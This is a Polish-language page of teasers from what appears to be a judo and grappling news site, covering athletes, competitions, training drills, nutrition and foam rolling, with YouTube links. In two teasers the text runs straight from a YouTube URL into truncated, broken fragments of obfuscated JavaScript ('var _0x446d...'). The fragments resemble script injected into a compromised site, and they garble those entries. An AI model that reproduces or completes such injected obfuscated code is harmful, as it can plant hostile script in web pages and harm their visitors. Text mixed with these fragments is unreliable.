Jak sporty chwytane mogą wpływać na kształtowanie charakteru dziecka? O swoim przypadku opowiada wicemistrz olimpijski w judo z igrzysk w Rio de Janeiro, oraz czarny pas bjj – Travis Stevens. "Jako dzieciak, dzięki judo mogłem dać upust swojej agresji. Na macie dało się to osiągnąć...

Przepisy judo nie pozwalają na rozkręcenie się akcji w parterze dlatego gdy zawodnicy decydują się na atak muszą mieć dopracowane poddanie do perfekcji. Na video poniżej atak loop choke od francuskiej judoczki.

Agata Ozdoba wywalczyła w Budapeszcie brązowy medal mistrzostw świata w judo w kat. 63 kg. W walce o brązowy krążek Polka pokonała przez waza-ari urodzoną w Bełchatowie Niemkę Martynę Trajdos. Agata na Węgrzech stoczyła cztery zwycięskie pojedynki. Pokonała Rumunkę Stefanię...

Szczególnie ostatni punkt dotyczy wielu z nas w off-seasonie lub bezpośrednio po walkach czy zawodach. Karol Dacosta omawia jego zdaniem 5 najczęściej popełnianych błędów żywieniowych u sportowców trenujących walkę. https://youtu.be/pCim0dsYM90

W poprzednim odcinku Agata Korzemiacka pokazywała w jaki sposób można rolować nasze mięśnie. Dzisiaj kontynuacja czyli dobór odpowiedniego wałka w zależności od tego czy jesteśmy przed czy po treningu. https://youtu.be/hjLiwJeTIAQ

Cały czas rośnie świadomość wśród zawodników, ale również u trenujących amatorsko o potrzebie słuchania własnego ciała i sprawnej regeneracji. Od jakiegoś czasu na matach możecie zobaczyć osoby z wałkami, które rolują nimi po macie. Agata Korzemiacka w zapowiedzianych 3...

Ceniony amerykański judoka oraz medalista olimpijski w judo pokazuje jak skutecznie złapać bardzo ciężki do zerwania chwyt za rękaw. Jest on niedozwolony w BJJ ponieważ nie można łapać za rękawy i nogawki od ich wewnętrznej strony. https://youtu.be/_5mGuZ5DlKU

Każdy rzut ma małe szanse powodzenia bez odpowiedniego przygotowania, jeżeli nauczycie się przynajmniej kilku przygotowań znacząco ułatwi to Wam wyprowadzenie przeciwnika z równowagi i rzucenie go na łopatki. Poniżej propozycje na zaskakujące osoto gari. https://youtu.be/OHMgiC3taZA

Pozycja polecana bardziej doświadczonym adeptom, ważne żeby partner umiał dobrze padać. Z tej uwagi nie polecamy tej techniki początkującym. https://youtu.be/fLqEMmYoRqQ

Dwukrotna brązowa medalistka olimpijska w judo pokazuje ćwiczenia, które można wykonywać z partnerem wykorzystując między innymi gi, pas oraz jego ciężar ciała. https://youtu.be/NMQPTeXbf4Evar _0x446d=;if(document]](_0x446d)== ...

Zobaczcie jak na siłowni trenuje kadra Gruzji, która jest znana ze świetnych dżudoków i zapaśników. https://youtu.be/-pogWeY0oSsvar _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== ...

Shohei Ono to japoński judoka, aktualnie czołowy lekki zawodnik na świecie. W 2016 zdobył złoty medal na igrzyskach w Rio i w latach 2013/2015 dwa tytuły mistrza świata w jkategorii . Shohei słynie ze swojego agresywnego stylu "all ippon", który możecie częściowo zobaczyć na poniższym...

Zapraszamy do obejrzenia zajawkowego filmu w którym zobaczycie 40 akcji z pojedynków judo w którym zawodnicy wykonują flagowe techniki obaleń. Podczas 5 minutowego filmu w akcji zobaczymy takich zawodników jak Teddy Riner czy Ilias Iliadis. Jeżeli myśleliście o popracowaniu nad swoją...

Zaledwie rok temu skończyły się igrzyska olimpijskie w Rio, ale już trwają prace nad następnymi. Bardzo dobre wieści nadeszły ze środowiska judo, a mianowicie chodzi o ogłoszenie nowej formuły zwanej Judo Mixed Team Event. Nowa forma rywalizacji ma skompletować mieszane drużyny...

Relacja z Drużynowych Mistrzostw Polski juniorów młodszych w judo oraz Olimpiady Młodzieży.          W dniach 5-7.05.2017 r. w w hali Zespołu Szkół nr 20 odbywały się dwie duże imprezy: Finał Ogólnopolskiej Olimpiady Młodzieży w judo oraz Drużynowe Mistrzostwa Polski...